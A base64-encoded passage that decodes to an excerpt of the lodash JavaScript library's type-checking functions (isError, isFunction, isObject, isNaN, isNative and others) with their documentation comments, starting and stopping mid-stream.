XxlbGxvKSQvLnRlc3QodmFsdWUpO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIGN1c3RvbWl6ZXIob2JqVmFsdWUsIG90aFZhbHVlKSB7XG4gICAgICogICBpZiAoaXNHcmVldGluZyhvYmpWYWx1ZSkgJiYgaXNHcmVldGluZyhvdGhWYWx1ZSkpIHtcbiAgICAgKiAgICAgcmV0dXJuIHRydWU7XG4gICAgICogICB9XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gWydoZWxsbycsICdnb29kYnllJ107XG4gICAgICogdmFyIG90aGVyID0gWydoaScsICdnb29kYnllJ107XG4gICAgICpcbiAgICAgKiBfLmlzRXF1YWxXaXRoKGFycmF5LCBvdGhlciwgY3VzdG9taXplcik7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzRXF1YWxXaXRoKHZhbHVlLCBvdGhlciwgY3VzdG9taXplcikge1xuICAgICAgY3VzdG9taXplciA9IHR5cGVvZiBjdXN0b21pemVyID09ICdmdW5jdGlvbicgPyBjdXN0b21pemVyIDogdW5kZWZpbmVkO1xuICAgICAgdmFyIHJlc3VsdCA9IGN1c3RvbWl6ZXIgPyBjdXN0b21pemVyKHZhbHVlLCBvdGhlcikgOiB1bmRlZmluZWQ7XG4gICAgICByZXR1cm4gcmVzdWx0ID09PSB1bmRlZmluZWQgPyBiYXNlSXNFcXVhbCh2YWx1ZSwgb3RoZXIsIHVuZGVmaW5lZCwgY3VzdG9taXplcikgOiAhIXJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhbiBgRXJyb3JgLCBgRXZhbEVycm9yYCwgYFJhbmdlRXJyb3JgLCBgUmVmZXJlbmNlRXJyb3JgLFxuICAgICAqIGBTeW50YXhFcnJvcmAsIGBUeXBlRXJyb3JgLCBvciBgVVJJRXJyb3JgIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYW4gZXJyb3Igb2JqZWN0LCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNFcnJvcihuZXcgRXJyb3IpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNFcnJvcihFcnJvcik7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0Vycm9yKHZhbHVlKSB7XG4gICAgICBpZiAoIWlzT2JqZWN0TGlrZSh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgICAgdmFyIHRhZyA9IGJhc2VHZXRUYWcodmFsdWUpO1xuICAgICAgcmV0dXJuIHRhZyA9PSBlcnJvclRhZyB8fCB0YWcgPT0gZG9tRXhjVGFnIHx8XG4gICAgICAgICh0eXBlb2YgdmFsdWUubWVzc2FnZSA9PSAnc3RyaW5nJyAmJiB0eXBlb2YgdmFsdWUubmFtZSA9PSAnc3RyaW5nJyAmJiAhaXNQbGFpbk9iamVjdCh2YWx1ZSkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGEgZmluaXRlIHByaW1pdGl2ZSBudW1iZXIuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgaXMgYmFzZWQgb25cbiAgICAgKiBbYE51bWJlci5pc0Zpbml0ZWBdKGh0dHBzOi8vbWRuLmlvL051bWJlci9pc0Zpbml0ZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgZmluaXRlIG51bWJlciwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzRmluaXRlKDMpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNGaW5pdGUoTnVtYmVyLk1JTl9WQUxVRSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0Zpbml0ZShJbmZpbml0eSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNGaW5pdGUoJzMnKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzRmluaXRlKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdHlwZW9mIHZhbHVlID09ICdudW1iZXInICYmIG5hdGl2ZUlzRmluaXRlKHZhbHVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBjbGFzc2lmaWVkIGFzIGEgYEZ1bmN0aW9uYCBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgZnVuY3Rpb24sIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc0Z1bmN0aW9uKF8pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNGdW5jdGlvbigvYWJjLyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0Z1bmN0aW9uKHZhbHVlKSB7XG4gICAgICBpZiAoIWlzT2JqZWN0KHZhbHVlKSkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG4gICAgICAvLyBUaGUgdXNlIG9mIGBPYmplY3QjdG9TdHJpbmdgIGF2b2lkcyBpc3N1ZXMgd2l0aCB0aGUgYHR5cGVvZmAgb3BlcmF0b3JcbiAgICAgIC8vIGluIFNhZmFyaSA5IHdoaWNoIHJldHVybnMgJ29iamVjdCcgZm9yIHR5cGVkIGFycmF5cyBhbmQgb3RoZXIgY29uc3RydWN0b3JzLlxuICAgICAgdmFyIHRhZyA9IGJhc2VHZXRUYWcodmFsdWUpO1xuICAgICAgcmV0dXJuIHRhZyA9PSBmdW5jVGFnIHx8IHRhZyA9PSBnZW5UYWcgfHwgdGFnID09IGFzeW5jVGFnIHx8IHRhZyA9PSBwcm94eVRhZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhbiBpbnRlZ2VyLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIGlzIGJhc2VkIG9uXG4gICAgICogW2BOdW1iZXIuaXNJbnRlZ2VyYF0oaHR0cHM6Ly9tZG4uaW8vTnVtYmVyL2lzSW50ZWdlcikuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFuIGludGVnZXIsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc0ludGVnZXIoMyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0ludGVnZXIoTnVtYmVyLk1JTl9WQUxVRSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNJbnRlZ2VyKEluZmluaXR5KTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5pc0ludGVnZXIoJzMnKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzSW50ZWdlcih2YWx1ZSkge1xuICAgICAgcmV0dXJuIHR5cGVvZiB2YWx1ZSA9PSAnbnVtYmVyJyAmJiB2YWx1ZSA9PSB0b0ludGVnZXIodmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGEgdmFsaWQgYXJyYXktbGlrZSBsZW5ndGguXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgaXMgbG9vc2VseSBiYXNlZCBvblxuICAgICAqIFtgVG9MZW5ndGhgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy10b2xlbmd0aCkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgdmFsaWQgbGVuZ3RoLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNMZW5ndGgoMyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0xlbmd0aChOdW1iZXIuTUlOX1ZBTFVFKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5pc0xlbmd0aChJbmZpbml0eSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNMZW5ndGgoJzMnKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzTGVuZ3RoKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdHlwZW9mIHZhbHVlID09ICdudW1iZXInICYmXG4gICAgICAgIHZhbHVlID4gLTEgJiYgdmFsdWUgJSAxID09IDAgJiYgdmFsdWUgPD0gTUFYX1NBRkVfSU5URUdFUjtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyB0aGVcbiAgICAgKiBbbGFuZ3VhZ2UgdHlwZV0oaHR0cDovL3d3dy5lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLWVjbWFzY3JpcHQtbGFuZ3VhZ2UtdHlwZXMpXG4gICAgICogb2YgYE9iamVjdGAuIChlLmcuIGFycmF5cywgZnVuY3Rpb25zLCBvYmplY3RzLCByZWdleGVzLCBgbmV3IE51bWJlcigwKWAsIGFuZCBgbmV3IFN0cmluZygnJylgKVxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhbiBvYmplY3QsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc09iamVjdCh7fSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc09iamVjdChbMSwgMiwgM10pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNPYmplY3QoXy5ub29wKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzT2JqZWN0KG51bGwpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNPYmplY3QodmFsdWUpIHtcbiAgICAgIHZhciB0eXBlID0gdHlwZW9mIHZhbHVlO1xuICAgICAgcmV0dXJuIHZhbHVlICE9IG51bGwgJiYgKHR5cGUgPT0gJ29iamVjdCcgfHwgdHlwZSA9PSAnZnVuY3Rpb24nKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBvYmplY3QtbGlrZS4gQSB2YWx1ZSBpcyBvYmplY3QtbGlrZSBpZiBpdCdzIG5vdCBgbnVsbGBcbiAgICAgKiBhbmQgaGFzIGEgYHR5cGVvZmAgcmVzdWx0IG9mIFwib2JqZWN0XCIuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIG9iamVjdC1saWtlLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNPYmplY3RMaWtlKHt9KTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzT2JqZWN0TGlrZShbMSwgMiwgM10pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNPYmplY3RMaWtlKF8ubm9vcCk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNPYmplY3RMaWtlKG51bGwpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNPYmplY3RMaWtlKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdmFsdWUgIT0gbnVsbCAmJiB0eXBlb2YgdmFsdWUgPT0gJ29iamVjdCc7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgY2xhc3NpZmllZCBhcyBhIGBNYXBgIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjMuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBtYXAsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc01hcChuZXcgTWFwKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzTWFwKG5ldyBXZWFrTWFwKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIHZhciBpc01hcCA9IG5vZGVJc01hcCA/IGJhc2VVbmFyeShub2RlSXNNYXApIDogYmFzZUlzTWFwO1xuXG4gICAgLyoqXG4gICAgICogUGVyZm9ybXMgYSBwYXJ0aWFsIGRlZXAgY29tcGFyaXNvbiBiZXR3ZWVuIGBvYmplY3RgIGFuZCBgc291cmNlYCB0b1xuICAgICAqIGRldGVybWluZSBpZiBgb2JqZWN0YCBjb250YWlucyBlcXVpdmFsZW50IHByb3BlcnR5IHZhbHVlcy5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBpcyBlcXVpdmFsZW50IHRvIGBfLm1hdGNoZXNgIHdoZW4gYHNvdXJjZWAgaXNcbiAgICAgKiBwYXJ0aWFsbHkgYXBwbGllZC5cbiAgICAgKlxuICAgICAqIFBhcnRpYWwgY29tcGFyaXNvbnMgd2lsbCBtYXRjaCBlbXB0eSBhcnJheSBhbmQgZW1wdHkgb2JqZWN0IGBzb3VyY2VgXG4gICAgICogdmFsdWVzIGFnYWluc3QgYW55IGFycmF5IG9yIG9iamVjdCB2YWx1ZSwgcmVzcGVjdGl2ZWx5LiBTZWUgYF8uaXNFcXVhbGBcbiAgICAgKiBmb3IgYSBsaXN0IG9mIHN1cHBvcnRlZCB2YWx1ZSBjb21wYXJpc29ucy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHNvdXJjZSBUaGUgb2JqZWN0IG9mIHByb3BlcnR5IHZhbHVlcyB0byBtYXRjaC5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYG9iamVjdGAgaXMgYSBtYXRjaCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0ID0geyAnYSc6IDEsICdiJzogMiB9O1xuICAgICAqXG4gICAgICogXy5pc01hdGNoKG9iamVjdCwgeyAnYic6IDIgfSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc01hdGNoKG9iamVjdCwgeyAnYic6IDEgfSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc01hdGNoKG9iamVjdCwgc291cmNlKSB7XG4gICAgICByZXR1cm4gb2JqZWN0ID09PSBzb3VyY2UgfHwgYmFzZUlzTWF0Y2gob2JqZWN0LCBzb3VyY2UsIGdldE1hdGNoRGF0YShzb3VyY2UpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmlzTWF0Y2hgIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGN1c3RvbWl6ZXJgIHdoaWNoXG4gICAgICogaXMgaW52b2tlZCB0byBjb21wYXJlIHZhbHVlcy4gSWYgYGN1c3RvbWl6ZXJgIHJldHVybnMgYHVuZGVmaW5lZGAsIGNvbXBhcmlzb25zXG4gICAgICogYXJlIGhhbmRsZWQgYnkgdGhlIG1ldGhvZCBpbnN0ZWFkLiBUaGUgYGN1c3RvbWl6ZXJgIGlzIGludm9rZWQgd2l0aCBmaXZlXG4gICAgICogYXJndW1lbnRzOiAob2JqVmFsdWUsIHNyY1ZhbHVlLCBpbmRleHxrZXksIG9iamVjdCwgc291cmNlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHNvdXJjZSBUaGUgb2JqZWN0IG9mIHByb3BlcnR5IHZhbHVlcyB0byBtYXRjaC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY3VzdG9taXplcl0gVGhlIGZ1bmN0aW9uIHRvIGN1c3RvbWl6ZSBjb21wYXJpc29ucy5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYG9iamVjdGAgaXMgYSBtYXRjaCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBpc0dyZWV0aW5nKHZhbHVlKSB7XG4gICAgICogICByZXR1cm4gL15oKD86aXxlbGxvKSQvLnRlc3QodmFsdWUpO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIGN1c3RvbWl6ZXIob2JqVmFsdWUsIHNyY1ZhbHVlKSB7XG4gICAgICogICBpZiAoaXNHcmVldGluZyhvYmpWYWx1ZSkgJiYgaXNHcmVldGluZyhzcmNWYWx1ZSkpIHtcbiAgICAgKiAgICAgcmV0dXJuIHRydWU7XG4gICAgICogICB9XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2dyZWV0aW5nJzogJ2hlbGxvJyB9O1xuICAgICAqIHZhciBzb3VyY2UgPSB7ICdncmVldGluZyc6ICdoaScgfTtcbiAgICAgKlxuICAgICAqIF8uaXNNYXRjaFdpdGgob2JqZWN0LCBzb3VyY2UsIGN1c3RvbWl6ZXIpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc01hdGNoV2l0aChvYmplY3QsIHNvdXJjZSwgY3VzdG9taXplcikge1xuICAgICAgY3VzdG9taXplciA9IHR5cGVvZiBjdXN0b21pemVyID09ICdmdW5jdGlvbicgPyBjdXN0b21pemVyIDogdW5kZWZpbmVkO1xuICAgICAgcmV0dXJuIGJhc2VJc01hdGNoKG9iamVjdCwgc291cmNlLCBnZXRNYXRjaERhdGEoc291cmNlKSwgY3VzdG9taXplcik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgYE5hTmAuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgaXMgYmFzZWQgb25cbiAgICAgKiBbYE51bWJlci5pc05hTmBdKGh0dHBzOi8vbWRuLmlvL051bWJlci9pc05hTikgYW5kIGlzIG5vdCB0aGUgc2FtZSBhc1xuICAgICAqIGdsb2JhbCBbYGlzTmFOYF0oaHR0cHM6Ly9tZG4uaW8vaXNOYU4pIHdoaWNoIHJldHVybnMgYHRydWVgIGZvclxuICAgICAqIGB1bmRlZmluZWRgIGFuZCBvdGhlciBub24tbnVtYmVyIHZhbHVlcy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYE5hTmAsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc05hTihOYU4pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNOYU4obmV3IE51bWJlcihOYU4pKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBpc05hTih1bmRlZmluZWQpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNOYU4odW5kZWZpbmVkKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzTmFOKHZhbHVlKSB7XG4gICAgICAvLyBBbiBgTmFOYCBwcmltaXRpdmUgaXMgdGhlIG9ubHkgdmFsdWUgdGhhdCBpcyBub3QgZXF1YWwgdG8gaXRzZWxmLlxuICAgICAgLy8gUGVyZm9ybSB0aGUgYHRvU3RyaW5nVGFnYCBjaGVjayBmaXJzdCB0byBhdm9pZCBlcnJvcnMgd2l0aCBzb21lXG4gICAgICAvLyBBY3RpdmVYIG9iamVjdHMgaW4gSUUuXG4gICAgICByZXR1cm4gaXNOdW1iZXIodmFsdWUpICYmIHZhbHVlICE9ICt2YWx1ZTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhIHByaXN0aW5lIG5hdGl2ZSBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBjYW4ndCByZWxpYWJseSBkZXRlY3QgbmF0aXZlIGZ1bmN0aW9ucyBpbiB0aGUgcHJlc2VuY2VcbiAgICAgKiBvZiB0aGUgY29yZS1qcyBwYWNrYWdlIGJlY2F1c2UgY29yZS1qcyBjaXJjdW12ZW50cyB0aGlzIGtpbmQgb2YgZGV0ZWN0aW9uLlxuICAgICAqIERlc3BpdGUgbXVsdGlwbGUgcmVxdWVzdHMsIHRoZSBjb3JlLWpzIG1haW50YWluZXIgaGFzIG1hZGUgaXQgY2xlYXI6IGFueVxuICAgICAqIGF0dGVtcHQgdG8gZml4IHRoZSBkZXRlY3Rpb24gd2lsbCBiZSBvYnN0cnVjdGVkLiBBcyBhIHJlc3VsdCwgd2UncmUgbGVmdFxuICAgICAqIHdpdGggbGl0dGxlIGNob2ljZSBidXQgdG8gdGhyb3cgYW4gZXJyb3IuIFVuZm9ydHVuYXRlbHksIHRoaXMgYWxzbyBhZmZlY3RzXG4gICAgICogcGFja2FnZXMsIGxpa2UgW2JhYmVsLXBvbHlmaWxsXShodHRwczovL3d3dy5ucG1qcy5jb20vcGFja2FnZS9iYWJlbC1wb2x5ZmlsbCksXG4gICAgICogd2hpY2ggcmVseSBvbiBjb3JlLWpzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIG5hdGl2ZSBmdW5jdGlvbixcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzTmF0aXZlKEFycmF5LnByb3RvdHlwZS5wdXNoKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzTmF0aXZlKF8pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNOYXRpdmUodmFsdWUpIHtcbiAgICAgIGlmIChpc01hc2thYmxlKHZhbHVlKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoQ09SRV9FUlJPUl9URVhUKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlSXNOYXRpdmUodmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGBudWxsYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYG51bGxgLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNOdWxsKG51bGwpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNOdWxsKHZvaWQgMCk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc051bGwodmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PT0gbnVsbDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBgbnVsbGAgb3IgYHVuZGVmaW5lZGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIG51bGxpc2gsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4